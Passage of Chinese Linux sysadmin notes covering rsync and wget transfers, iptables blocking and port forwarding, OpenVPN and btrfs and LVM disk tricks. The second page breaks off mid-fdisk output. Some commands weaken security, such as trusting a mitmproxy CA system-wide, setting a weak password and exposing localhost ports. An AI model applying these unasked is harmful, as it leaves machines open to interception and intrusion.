    scp目录断点续传

    正在拷贝目录的时候被中断了(例如mount.ntfs卡死),而scp不能跳过已经存在的文件、只会覆盖;如果用rsync完全断点续传似乎会校验文件,太慢

    方法是:删掉中断时正在拷贝的不完整文件,使用下述命令来跳过已经存在的文件:

    假设要把远程目录/path/这个文件夹整个拷贝到/mnt/下(也就是内容拷贝到/mnt/path/下)

    rsync --progress -v -au username@host:"'/path'" /mnt/
    

    注意源路径/path后面不能有/,否则rsync不会创建/mnt/path这个文件夹;/path被两层引号包围是为了支持含有空格的文件夹名称,一层是本地命令,远程目录也要一层

    rsync的--progress -v参数表示显示当前进度和更多内容,-a表示archive递归并尽可能原样保留所有信息,-u表示跳过已经存在的文件

    查看man文档 explainshell.com


    使用wget代替scp传输文件夹 避免无谓的加密性能损失(适用于树莓派)

    在内网传输非敏感数据时,没有必要使用scp(基于ssh)的安全传输,尤其是树莓派这种计算性能有限的情形。使用HTTP能有效加速传输过程,且部署简单,相比配置复杂的vsftpd可以说是很简单了

    服务端(数据传出端)

    使用nginx配置允许列目录即可,在/etc/nginx/sites-enabled/下添加一个文件:

    server{
        listen 8080;
        root /path/to/your/dir;
        autoindex on;
        autoindex_exact_size off;
        autoindex_localtime on;
    }
    

    如果你不具有root权限,可以复制一份nginx.conf,修改其中出现的所有你没有权限修改的文件路径,例如access_log,然后使用nginx -c /home/yourname/nginx.conf(注意必须绝对路径)启动你的nginx,没有出现EMRG错误即为启动成功(可以使用netstat -pant观察是否成功监听端口)

    客户端(数据传入端),使用wget:

    alias myget='wget -r -np -nH -R index.html --restrict-file-names=nocontrol  -p -N -l0 -e robots=off --read-timeout=20 --tries=0'
    cd /mnt #下载到哪
    myget http://server_IP:8080/yourdir #相当于将yourdir复制到当前文件夹
    

    参数说明:

    -r 递归下载,-np不要进入父目录,-nH不要创建host文件夹,-R index.html不要保存文件列表的index.html,–restrict-file-names=nocontrol不要乱改中文文件名

    -p 要下载图片,-N 使用浏览器304的方式避免重复下载,-l0递归层数不限制,-e robots=off不检查robots.txt

    –read-timeout=20 如果20s之内没有数据传输则认为失败进行重试,–tries=0无限次重试

    查看man文档


    清除已经断开的sshd进程

    如果你发现ps aux或netstat -pant输出了大量sshd的信息,说明之前ssh连接断开后sshd并没有退出而是一直占用内存

    我们可以清除掉这些进程来释放内存

    首先通过pstree -p来查看当前你的ssh会话的sshd进程PID,例如输出了这样一行:

    ├─sshd(32275)───bash(32413)───pstree(6543)
    

    则说明当前sshd的pid为32275,然后执行下面这条命令来kill -9其他所有的sshd进程:

    ps -ef | grep sshd | grep -v 32275 | grep -v grep | awk '{print "kill -9", $2}' |sh
    

    Hint: 如果当前主机还运行着Docker容器,如果容器的守护进程是sshd,上一条命令可能使容器退出;所以你还需要docker top来确定容器的sshd在主机上的pid号


    批量替换文本

    例如批量递归替换当前文件夹及子文件夹所有php文件,将其中的”aha/666”改为”ovo/999”

    命令如下:

    find . -type f -name "*.php" -exec sed -i 's~aha/666~ovo/999~g' {} +
    

    其中sed -i原位替换用的分隔符由于替换前后字符串中出现了/,所以不能用经典的/,而改用~


    找到最近修改的文件

    例如wget递归下载,中途被中断了,恢复的时候与其每个文件都请求一次不如直接跳过已经存在的文件

    那就需要找到中断的时候正在写入哪个文件,删掉这个文件继续

    这个命令可以以时间顺序显示当前文件夹及子文件夹文件,新文件显示在最前面

    find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r|less
    

    使用cryptsetup挂载truecrypt分区

    在ubuntu 16.04中编译truecrypt 7.1a运行时出现错误:error: Invalid characters encountered.

    在这个链接上找到了答案(感谢在其他论坛找到答案后主动提供解决方案的Jakub Urbanowicz)

    https://bugs.archlinux.org/task/47325 原贴地址(搜索cryptsetup):https://forums.gentoo.org/viewtopic-p-7809512.html

    方法是:

    sudo su #以下命令都要root权限,如果在Docker容器中尝试 启动容器时需要--privileged
    # 先安装cryptsetup
    apt install -y cryptsetup-bin
    
    # 挂载,注意type前面是两个横线,文件路径可以是/dev/sdb1,名称随便填
    cryptsetup open --type tcrypt truecrypt文件路径 名称
    
    # 然后mount挂载
    mount /dev/mapper/名称 挂载点
    
    # 卸载的时候记得close,都还是要root权限
    umount 挂载点
    cryptsetup close 名称
    

    从二进制文件中提取片段

    用binwalk发现需要的片段的起始位点,以及计算出长度

    binwalk直接-e有时候就能满足需求,但如果是exe文件 exe本身可能被拆成多个文件 如一堆证书,这时候可以

    binwalk -D 'exe' 文件名
    

    或者用dd,注意别用bs=1 太慢:

    dd if=input.binary of=output.binary skip=$offset count=$bytes iflag=skip_bytes,count_bytes
    

    From: https://stackoverflow.com/questions/1423346/how-do-i-extract-a-single-chunk-of-bytes-from-within-a-file

    如果省略掉count就是一直到末尾


    redis匹配前缀删除大量键值

    FROM: https://stackoverflow.com/questions/4006324/how-to-atomically-delete-keys-matching-a-pattern-using-redis

    删除当前数据库中prefix开头的所有key:

    EVAL "local keys = redis.call('keys', ARGV[1]) \n for i=1,#keys,5000 do \n redis.call('del', unpack(keys, i, math.min(i+4999, #keys))) \n end \n return keys" 0 prefix*
    

    批量替换子目录特定后缀名文件内容

    使用sed -ifind

    例如本站编译脚本在mkdocs编译后对所有.html文件执行替换,改用国内CDN

    sed -i 's#cdnjs.cloudflare.com#cdnjs.loli.net#g' $(find -type f -name "*.html")
    sed -i 's#fonts.googleapis.com#fonts.loli.net#g' $(find -type f -name "*.html")
    

    coredump in fuzzing

    参考: http://man7.org/linux/man-pages/man5/core.5.html

    为啥afl要求我们echo core >/proc/sys/kernel/core_pattern 呢? fuzzing时怎么避免产生coredump产生大量IO浪费时间?

    core_pattern是啥

    这个文件/proc/sys/kernel/core_pattern是命名coredump文件的模板,比如改为core之后产生的coredump文件就叫做core

    另一个文件/proc/sys/kernel/core_uses_pid 如果是1的话,还会加上.pid

    怎么才能不产生coredump

    全局关闭:

    echo >/proc/sys/kernel/core_pattern
    echo 0 >/proc/sys/kernel/core_uses_pid
    

    还可以在当前目录mkdir core,有了同名文件夹就不会再写core文件了

    fuzzer可以用rlimit的功能限制子进程:

    文档说了RLIMIT_CORE这个限制,只要它是0就不会产生了,比如AFL的代码

        /* Dumping cores is slow and can lead to anomalies if SIGKILL is delivered
           before the dump is complete. */
    
        r.rlim_max = r.rlim_cur = 0;
    
        setrlimit(RLIMIT_CORE, &r); /* Ignore errors */
    

    再比如honggfuzz的代码(honggfuzz-1.7并没有考虑这个):

    /* in cmdline.c */
     { { "rlimit_core", required_argument, NULL, 0x103 }, "Per process RLIMIT_CORE in MiB (default: 0 [no cores are produced])" },
    
    /* in subproc.c */
    #ifdef RLIMIT_CORE
        const struct rlimit rl = {
            .rlim_cur = run->global->exe.coreLimit * 1024ULL * 1024ULL,
            .rlim_max = run->global->exe.coreLimit * 1024ULL * 1024ULL,
        };
        if (setrlimit(RLIMIT_CORE, &rl) == -1) {
            PLOG_W("Couldn't enforce the RLIMIT_CORE resource limit, ignoring");
        }
    #endif /* ifdef RLIMIT_CORE */
    

    bash对文件乱序遍历

    shuf filename|while read line; do python3 run.py "$line"; done
    

    grep查找中文

    ls /tmp/test | grep -P '[\p{Han}]' 
    

    参考 https://www.regular-expressions.info/unicode.html#script


    grep正则提取特定内容

    场景:fuzzing lava 测试集,做了30次重复(每次重复文件夹名称末尾为_重复),已经将crash运行得到的stdout和stderr存储为文件,想统计每次重复触发了多少bugid

    换句话说,已知当前文件夹下有一些可能被当成二进制的文本文件,包含Successfully triggered bug 576, crashing now!,我想将其中的576提取出来,然后对整个文件夹计数

    注意grep的时候一定要–text,不然会漏掉一些文件

    用到了grep的正则提取,前置判断用(?<=文本),后置判断用(?=文本),例如提取aaa123bbb中的123就可以:echo aaa123bbb|grep -P '(?<=aaa)\d+(?=bbb)' -o

    其中-P表示正则语法为Perl,-o表示只显示匹配

    参考: https://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match

    for i in `seq 1 1 30`; do 
        if [ -d *_${i}/ ]; then 
            (cd *_${i}; 
             echo $i `grep 'Successfully triggered bug' -r . --text \
                 | grep -P '(?<=bug )(\d+)(?=,)' -o \
                 |sort| uniq|wc -l` 
            ); 
        else 
            echo ${i} 0; 
        fi; 
    done
    

    自动kill大内存的进程

    列举所有进程,找出内存超过5%的,kill掉

    注意到sort比较数字大小需要用-h或者-V,否则会出现3>20的比较结果(字符串比较)

    由于[ "$num" -gt 5 ]只支持num为整数的情况,所以用bc作浮点数大小判断,参考: https://stackoverflow.com/questions/8654051/how-to-compare-two-floating-point-numbers-in-bash

    grep -v设置白名单:docker, perl

    while true; do 
        LINE=$(ps aux|grep -v docker|grep -v perl|sort -k4 -h|tail -n 1); 
        (( $( echo "`echo ${LINE}|awk '{print $4}'` > 5" |bc -l) )) && \
            (echo $LINE; 
            kill `echo ${LINE}|awk '{print $2}'`); 
        sleep 5; 
    done
    

    screen自动操作以及获取当前屏幕内容

    screen -dmS name /bin/bash
    screen -S name -p 0 -X stuff "ls"`echo -ne '\r'`
    screen -S name -p 0 -X hardcopy /tmp/test.txt
    

    中文字符会有问题,待解决


    编译当前文件夹所有.c文件

    ${i%.*} 去掉文件名的最后一个后缀

    for i in *.c; do gcc $i -o out/${i%.*}; done
    

    gdb自动化

    echo -e "set pagination off\nset confirm off" > ~/.gdbinit
    

    然后使用gdb ./a.out -ex "r inputfile" -ex "bt" -ex "quit"


    mktorrent制作种子torrent文件

    参考: https://community.seedboxes.cc/articles/how-to-create-a-torrent-via-the-command-line

    sudo apt install mktorrent
    mktorrent -v -a "http://tracker.nexushd.org/announce.php" -p folder -o folder.torrent -l 24
    

    其中-l 24的意思是每个分块为2**24=16MB,这是建议的最大的值


    钉钉直播回放下载 m3u8转mp4

    手机端用抓包软件 如HttpCanary,点开直播回放后会得到一个m3u8的地址,然后使用ffmpeg下载即可

    参考:https://www.bilibili.com/video/av99036702/

    https://gist.github.com/tzmartin/fb1f4a8e95ef5fb79596bd4719671b5d

    ffmpeg -i http://dtliving-pre.alicdn.com/... -bsf:a aac_adtstoasc -vcodec copy -c copy name.mp4
    

    黑色背景ls 目录深绿色看不清改个颜色

    Ubuntu系统编辑~/.dircolors: (其他系统~/.dir_colors)

    DIR 01;36 
    

    或者执行:

    eval `dircolors | sed -e 's/;34:/;36:/'`
    

    部署seafile客户端

    https://download.seafile.com/published/seafile-user-manual/syncing_client/install_linux_client.md

    需要注意seafile-cli已经加入boinc官方源,但版本与ppa源不匹配

    # apt install -y software-properties-common
    add-apt-repository -y ppa:seafile/seafile-client
    apt update
    apt install seafile-cli -y
    mkdir ~/seafile
    seaf-cli init -d ~/seafile
    seaf-cli start
    # 重启后也需要自己手动启动
    

    在网页端创建/打开资料库后从url复制得到id

    客户端没有需要同步的文件时用download,有需要加入同步的数据用sync

    seaf-cli download -l "the id of the library"
         -s "the url + port of server" 
         -d "the folder which the library will be synced with" 
         -u "username on server" 
         [-p "password"]
    

    登录用户名密码错误的时候报错是400,需要留意


    pcregrep正则提取

    例如我们要提取some.htm中所有href属性中的html,使用普通的grep不能只提取单独的group。这里我们用pcregrep可以指定-o参数,还可以多次指定连续输出

    # apt install -y pcregrep
    pcregrep -o1 'href="([^\.]*\.htm)"' some.htm
    

    管道关闭缓冲

    参考:https://harttle.land/2020/06/06/tail-f-pipe.html

    grep 添加 --line-buffered,sed 添加 -u,awk 调 fflush()

    Shell 里可以通过 [ -t 1 ] 来判断 stdout(文件描述符 1) 是否是 TTY。 More

    例子:

    tail -f log.txt | grep --line-buffered Error | sed -u 's/harttle//' | awk '${print $1; fflush()}' | grep ENOENT
    

    等待特定进程结束

    例如并行启动编译进程,希望等待所有gcc结束:

    while [ "`pgrep -c gcc`" -gt 0 ]; do 
        echo cnt: `pgrep -c gcc`
        sleep 10; 
    done
    
    ================================================ FILE: docs/Linux-setup/index.html ================================================ Linux-setup - notebook

    Linux系统配置

    本文档为Linux服务器的配置方面的笔记,Linux相关笔记还有:

    Linux命令行操作技巧

    SSH远程登录

    Linux备份

    TOC:


    如何翻墙

    部署shadowsocks客户端,并部署Privoxy提供http proxy

    代码参见ssprivoxy.txt


    配置有线静态IP

    vim /etc/network/interfaces
    # 写入以下内容,请自行替换xx部分
    iface eth0 inet static
     address 10.xx.xx.13 #你需要设置的IP
     netmask 255.255.255.0 #子网掩码
     network 10.xx.xx.0
     broadcast 10.xx.xx.255
     gateway 10.xx.xx.254 #网关
     dns-nameservers 10.10.0.21 #dns服务器
    # 按Esc, :wq退出保存
    service networking restart
    ifconfig eth0 10.xx.xx.13 netmask 255.255.255.0 up
    route add default eth0 #路由配置也很重要,错误的路由将导致不能访问
    route add default gw 10.xx.xx.254 dev eth0 #这里设置为你的网关
    

    注意使用ifconfig进行ip的修改后,会丢失路由信息、额外的ip设置,需要重新配置route(执行上述两条route命令即可)

    之前已经配置过静态ip,现在要改为自动获取

    dhclient eth0
    

    出现报错RTNETLINK answers: File exists,解决方案:

    ip addr flush dev eth0
    

    配置apt源以加速国内环境下apt速度

    curl http://mirrors.163.com/.help/sources.list.trusty>/etc/apt/sources.list
    

    如果还未安装curl,先手动写入这两行:

    deb http://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse
    deb http://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse
    

    注:vim复制一行的命令为yy,粘贴为p

    或者通过sed替换:

    sed -i 's/security.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list
    sed -i 's/archive.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list
    

    单网卡获得多个IP

    ifconfig eth0:233 10.xx.xx.233 netmask 255.255.255.0 up

    解决apt依赖问题

    问题描述:服务器为ubuntu14.04版本,某些不明操作后,无法用apt-get安装任何东西

    > apt-get -f install
    Reading package lists... Done
    Building dependency tree
    Reading state information... Done
    Correcting dependencies... failed.
    The following packages have unmet dependencies:
     libatk1.0-0 : Depends: libglib2.0-0 (>= 2.41.1) but 2.40.0-2 is installed
     libglib2.0-bin : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed
     libglib2.0-dev : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed
     libgtk2.0-0 : Depends: libglib2.0-0 (>= 2.41.1) but 2.40.0-2 is installed
    E: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.
    E: Unable to correct dependencies
    

    仔细看错误说明,libglib2.0-bin这个软件包要求libglib2.0-0的版本=2.44但是现有的安装版本为2.40

    在ubuntu的软件包官网搜索咯:https://launchpad.net/ubuntu/

    发现2.44版本的是vivid才提供的,现在系统版本是trusty,自然apt-get装不了

    解决方案:

    找到报错信息需要的精确匹配的那个deb文件下载咯,例如这里就要下载这个版本的:

    https://launchpad.net/ubuntu/vivid/amd64/libglib2.0-0/2.44.0-1ubuntu3

    得到deb文件后dpkg -i 文件名

    Note

    一般apt依赖冲突问题都是由于系统版本与需要的包的版本不一致导致的,检查一下/etc/apt/sources.list看看是否匹配系统版本咯

    用apt-get前检查一下sources.list 看与当前lsb-release -a是否一致


    UnixBench

    VPS性能测试工具,耗时较长,耐心等待

    curl https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3>UnixBench.zip
    unzip UnixBench.zip
    cd byte-unixbench-5.1.3/UnixBench
    # apt-get install build-essential
    make
    screen -S ub
    ./Run
    

    参考数据,均为最低配置:主机屋1590.5;阿里云1470.4;腾讯云1156.0

    硬盘IO性能测试

    dd if=/dev/zero of=test bs=64k count=4k oflag=dsync
    dd if=/dev/zero of=test bs=8k count=256k conv=fdatasync
    

    清除内存缓存

    使用free -h查看可用内存前可以执行这个命令,查看除去buffer后的可用内存

    sync
    echo 3 > /proc/sys/vm/drop_caches
    

    使用iptables封ip

    屏蔽单个IP

    iptables -I INPUT -s 123.45.6.7 -j DROP
    

    封C段

    iptables -I INPUT -s 123.45.6.0/24 -j DROP
    

    封B段

     iptables -I INPUT -s 123.45.0.0/16 -j DROP
    

    封A段

    iptables -I INPUT -s 123.0.0.0/8 -j DROP
    

    记得保存

    service iptables save
    

    删除一条规则

    只要把上述的插入规则重写一次,将其中的-I改为-D即可

    iptables -D INPUT -s IP地址 -j DROP
    

    如果懒得重写 你也可以先列举出规则所在的id,根据id删除:

    iptables -L --line-numbers
    

    假设你想删除INPUT链的第3条规则:

    iptables -D INPUT 3
    

    只允许特定IP访问某端口

    iptables的插入次序很重要,先加入的会先匹配,所以拒绝策略应该最后加入

    以8888端口为例,只允许10.77.88.99这个IP 和 10.22.33.0/24 这个C段访问,其他来源的访问拒绝 返回connection refused

    iptables -A INPUT -s 10.77.88.99 -p tcp --dport 8888 -j ACCEPT
    iptables -A INPUT -s 10.22.33.0/24 -p tcp --dport 8888 -j ACCEPT
    iptables -A INPUT -p tcp --dport 8888 -j REJECT
    

    无root权限使用screen

    https://www.gnu.org/software/screen/

    复制相同操作系统下的screen二进制文件,运行前指定环境变量

    mkdir -p $HOME/.screen
    export SCREENDIR=$HOME/.screen
    

    screen的用法

    列出存在的screen:

    screen -ls
    

    创建一个名为name的screen:

    screen -S name
    

    从screen脱离:

    按Ctrl+A后按d
    

    重新连上名称为name的screen:

    screen -r name
    

    创建一个screen的自启动,让后台进程获得tty

    # 假设写好了一个/root/code.sh
    vim /etc/rc.local
    # 在最后加入一行,其中NAME替换为自己喜欢的名字
    screen -dmS NAME /root/code.sh
    

    举个例子–监测外网能否ping通,如果不能重连zjuvpn:

    code/pingtest.sh


    双网卡端口转发,暴露内网端口

    @TAG 端口转发

    来自: https://yq.aliyun.com/wenzhang/show_25824

    有两台机器,其中一台A 有内网和外网,B只有内网。

    目标: 在外网访问A机器的2121端口,就相当于连上了B机器的ftp(21)

    环境:

    A机器外网IP为 1.2.3.4(eth1) 内网IP为 192.168.1.20 (eth0)

    B机器内网为 192.168.1.21

    实现方法:

    首先在A机器上打开端口转发功能

        echo 1 > /proc/sys/net/ipv4/ip_forward
        echo -e "\nnet.ipv4.ip_forward = 1">>/etc/sysctl.conf
        sysctl -p
    

    然后在A机器上创建iptables规则

    # 把访问外网2121端口的包转发到内网ftp服务器
    iptables -t nat -I PREROUTING -d 1.2.3.4 -p tcp --dport 2121 -j DNAT --to 192.168.1.21:21 
    
    # 把到内网ftp服务器的包回源到内网网卡上,不然包只能转到ftp服务器,而返回的包不能到达客户端
    iptables -t nat -I POSTROUTING -d 192.168.1.21 -p tcp --dport 21 -j SNAT --to 192.168.1.20 
    
    # 保存一下规则
    service iptables save
    

    取消转发方法

    iptables中把-I改为-D运行就是删除此条规则


    保护重要系统文件防止被删

    使用+i标志位使得root用户也不能删除/bin, /sbin, /usr/sbin, /usr/bin, /usr/local/sbin, /usr/local/bin

    chattr -R +i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin
    

    设置后无法apt-get安装新软件,需要先取消标志位

    chattr -R -i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin
    

    查看CPU核心个数

    一般我会用 top 命令,按 1 就能看到每个CPU占用情况

    但当CPU太多的时候还是需要执行命令的:

    # 查看物理CPU个数
    cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l
    
    # 查看每个物理CPU中core的个数(即核数)
    cat /proc/cpuinfo| grep "cpu cores"| uniq
    
    # 查看逻辑CPU的个数
    cat /proc/cpuinfo| grep "processor"| wc -l
    

    非交互式添加用户

    useradd username -m
    echo username:badpassword|chpasswd
    

    添加一个用户名为username的用户并创建home目录,并设置密码为badpassword


    简单OpenVPN配置

    一个最最简单的场景:只有一个服务器 一个客户端,在容器中用来给用户直接访问的一个内网IP

    参考: https://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html

    安装openvpn:

    Linux:

    apt-get install openvpn
    

    Windows:

    openvpn.exe

    生成密钥

    openvpn --genkey --secret static.key
    

    用另外建立的安全通道(SSH)将static.key发给客户端

    服务端配置

    ifconfig 10.8.0.1 10.8.0.2
    secret /static.key
    keepalive 10 60
    persist-key
    persist-tun
    proto udp
    port 1194
    dev tun0
    status /tmp/openvpn-status.log
    
    user nobody
    group nogroup
    

    在 Ubuntu 中,如果要配置成系统服务的形式,将其保存到/etc/openvpn/myvpn.conf

    然后这样启动它:

    service openvpn@myvpn start
    

    这样设置开机自启

    systemctl enable openvpn@myvpn.service
    

    客户端配置

    remote 这里是你的服务器IP 这里是你的服务器端口 udp
    dev tun
    ifconfig 10.8.0.2 10.8.0.1
    secret static.key
    

    在Docker中使用服务端

    参考: https://raw.githubusercontent.com/kylemanna/docker-openvpn/master/bin/ovpn_run

    运行容器的时候一定要给参数--cap-add=NET_ADMIN

    另外还需要在容器中执行:

    mkdir -p /dev/net
    if [ ! -c /dev/net/tun ]; then
        mknod /dev/net/tun c 10 200
    fi
    

    时区时间设置

    参考: http://liumissyou.blog.51cto.com/4828343/1302050

    设置为上海时区 UTC+8

    apt-get install tzdata
    cp /etc/localtime /etc/localtime.bak
    ln -svf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
    echo "TZ='Asia/Shanghai'">>~/.bashrc
    ntpdate cn.pool.ntp.org
    

    修改时间可以用:

    date -s "2017-06-18 16:40:00"
    

    快速地格式化大分区ext4

    Linux系统建议使用ext4分区格式,但直接mkfs.ext4 /dev/sda1就有很大的坑:会默认lazyinit在很长一段时间内占用IO

    参考: http://fibrevillage.com/storage/474-ext4-lazy-init

    适用于存储少量大文件的格式化大硬盘的方法如下,这样不会跳过初始化磁盘的过程而且初始化过程很快:

    mkfs.ext4 /dev/sdXX -E lazy_itable_init=0,lazy_journal_init=0 -O sparse_super,large_file -m 0 -T largefile4
    

    对应的man文档


    优化本地ssd性能

    参考 https://cloud.google.com/compute/docs/disks/optimizing-pd-performance https://cloud.google.com/compute/docs/disks/optimizing-local-ssd-performance

    mkfs.ext4 -E lazy_itable_init=0,lazy_journal_init=0,discard /dev/sdX
    mount -o discard,defaults,nobarrier /dev/sdX /mnt
    echo none > /sys/block/sdX/queue/scheduler
    

    调整 readahead 值

    对于随机读写的应用如数据库,建议使用更小的readahead值

    较高的 readahead 值可增加吞吐量,但是会占用更多内存和 IOPS。较低的 readahead 值可增加 IOPS,但是会牺牲吞吐量。 readahead 值为 / 512 字节。

    例如预读设置为32KB的话,就应该设置为32*1024/512=64

    blockdev --setra 64 /dev/sdX
    

    添加受信任的CA证书 mitmproxy

    @TAG mitm

    cat ~/.mitmproxy/mitmproxy-ca-cert.pem >> /etc/ssl/certs/ca-certificates.crt
    

    对于nodejs这个可能也没用,直接export NODE_TLS_REJECT_UNAUTHORIZED=1


    明明还有大量空间却说没有?inode满了!挂载单个文件为btrfs分区

    问题现象

    df -h显示还有很多空间,但echo test>test.txt会显示No space left on device

    查到这个: https://wiki.gentoo.org/wiki/Knowledge_Base:No_space_left_on_device_while_there_is_plenty_of_space_available

    使用df -i查看inodes占用情况,发现确实100%了

    解决方案

    inodes上限在mkfs时就定下来了,不能改动,所以没救了。。。

    真没救了嘛? 当然不是,虽然不能写入大量小文件,但还是可以写一个大文件的嘛,就想到挂载单个文件为btrfs分区

    1. 删文件 腾出部分inodes

    删掉一些不用的小文件,也不用删太多

    2. 创建一个1TB的sparse file

    参考: https://prefetch.net/blog/2009/07/05/creating-sparse-files-on-linux-hosts-with-dd/

    使用dd命令,不将实际内容写入硬盘,能很快执行完成:

    NAME="filesystem"
    dd if=/dev/zero of=${NAME}.img bs=1 count=0 seek=1T
    

    执行后ls -alh能看到文件大小为1T,使用du filesystem.img查看真实空间

    3. 创建磁盘分区

    参考: https://www.jamescoyle.net/how-to/2096-use-a-file-as-a-linux-block-device

    btrfs参考: https://btrfs.wiki.kernel.org/index.php/Getting_started

    mkfs.btrfs ${NAME}.img
    

    4. 挂载分区

    mount ${NAME}.img /mnt
    

    5. 然后就可以搬运数据过去了

    就用mv像往常一样搬咯

    一些查看空间的命令

    # 查看磁盘文件占用空间
    du -h filesystem.img
    # 查看btrfs元数据占用空间
    btrfs filesystem df /mnt
    # 也是查看空间
    btrfs filesystem usage /mnt
    

    6. 卸载设备

    sudo umount /mnt
    sudo losetup -d /dev/loop0
    

    扩容上述单文件btrfs磁盘

    @TAG 安全最佳实践

    随着不停地写入数据,上面创建的1TB分区就要被写满了!但文件所在物理磁盘还有空间,我们可以这样给btrfs磁盘扩容:

    实际文件用truncate增加一个hole;losetup更新loop0的大小;使用btrfs命令给分区扩容

    truncate是一个危险的命令,为了避免手抖把空间写小了丢失数据,这里用--reference参数指定一个目标大小的文件,例如我们想扩容到1.5T=1536GB

    dd if=/dev/zero of=temp bs=1 count=0 seek=1536G
    ls -alh # 确认文件大小
    truncate -r temp filesystem.img
    
    # 假设目前使用的是/dev/loop0
    # 你可以这样确认loop0确实是filesystem.img挂载的: losetup --list /dev/loop0
    losetup -c /dev/loop0
    
    # 确保目前btrfs分区是挂载着的,btrfs必须先mount才能resize
    # mount filesystem.img /mnt
    btrfs filesystem resize +500G /mnt
    

    参考:

    • https://linux.die.net/man/1/truncate
    • https://askubuntu.com/questions/260620/resize-dev-loop0-and-increase-space
    • https://btrfs.wiki.kernel.org/index.php/UseCases#How_do_I_resize_a_partition.3F_.28shrink.2Fgrow.29

    安全地拔出移动硬盘

    首先当然是sudo umount /mnt卸载挂载点咯,如何更安全一点呢?

    udisksctl power-off -b /dev/sdb
    

    From: https://unix.stackexchange.com/questions/354138/safest-way-to-remove-usb-drive-on-linux


    iptables 让监听在127.0.0.1上的端口可以公网访问

    参考: https://unix.stackexchange.com/questions/111433/iptables-redirect-outside-requests-to-127-0-0-1

    例如有监听在127.0.0.1:1234的应用,现在想通过ip:5678来访问

    iptables -t nat -I PREROUTING -p tcp --dport 5678 -j DNAT --to-destination 127.0.0.1:1234
    sysctl -w net.ipv4.conf.eth0.route_localnet=1
    

    VMWare扩容磁盘 LVM在线扩容

    @TAG 虚拟机

    参考: - https://ma.ttias.be/increase-a-vmware-disk-size-vmdk-formatted-as-linux-lvm-without-rebooting/ - https://www.cyberciti.biz/faq/howto-add-disk-to-lvm-volume-on-linux-to-increase-size-of-pool/ - https://ubuntuforums.org/showthread.php?t=2277232

    修复GPT PMBR size mismatchparted -l输入Fix即可,无需live cd

    root@docker:/d# parted -l
    Warning: Not all of the space available to /dev/sda appears to be used, you can
    fix the GPT to use all of the space (an extra 314572800 blocks) or continue with
    the current setting?
    Fix/Ignore? Fix
    Model: VMware Virtual disk (scsi)
    Disk /dev/sda: 215GB
    Sector size (logical/physical): 512B/512B
    Partition Table: gpt
    Disk Flags:
    
    Number  Start   End     Size    File system  Name  Flags
     1      1049kB  2097kB  1049kB                     bios_grub
     2      2097kB  1076MB  1074MB  ext4
     3      1076MB  53.7GB  52.6GB
    
    
    Model: Linux device-mapper (linear) (dm)
    Disk /dev/mapper/ubuntu--vg-ubuntu--lv: 52.6GB
    Sector size (logical/physical): 512B/512B
    Partition Table: loop
    Disk Flags:
    
    Number  Start  End     Size    File system  Flags
     1      0.00B  52.6GB  52.6GB  ext4
    
    
    Warning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.
    Model: NECVMWar VMware SATA CD00 (scsi)
    Disk /dev/sr0: 875MB
    Sector size (logical/physical): 2048B/2048B
    Partition Table: mac
    Disk Flags:
    
    Number  Start  End    Size    File system  Name   Flags
     1      2048B  6143B  4096B                Apple
     2      659MB  662MB  2523kB               EFI
    
    
    root@docker:/d# fdisk -l
    Disk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    
    Disk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: gpt
    Disk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052
    
    Device       Start       End   Sectors Size Type
    /dev/sda1     2048      4095      2048   1M BIOS boot
    /dev/sda2     4096   2101247   2097152   1G Linux filesystem
    /dev/sda3  2101248 104855551 102754304  49G Linux filesystem
    
    
    Disk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    root@docker:/d# fdisk /dev/sda
    
    Welcome to fdisk (util-linux 2.31.1).
    Changes will remain in memory only, until you decide to write them.
    Be careful before using the write command.
    
    
    Command (m for help): n
    Partition number (4-128, default 4):
    First sector (104855552-419430366, default 104855552):
    Last sector, +sectors or +size{K,M,G,T,P} (104855552-419430366, default 419430366):
    
    Created a new partition 4 of type 'Linux filesystem' and of size 150 GiB.
    
    Command (m for help): t
    Partition number (1-4, default 4): 4
    Partition type (type L to list all types): 8e
    
    Type of partition 4 is unchanged: Linux filesystem.
    
    Command (m for help): w
    The partition table has been altered.
    Syncing disks.
    
    root@docker:/d# partprobe -s
    /dev/sda: gpt partitions 1 2 3 4
    /dev/mapper/ubuntu--vg-ubuntu--lv: loop partitions 1
    Warning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.
    Warning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.
    Warning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.
    /dev/sr0: mac partitions 1 2
    root@docker:/d# fdisk -l
    Disk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    
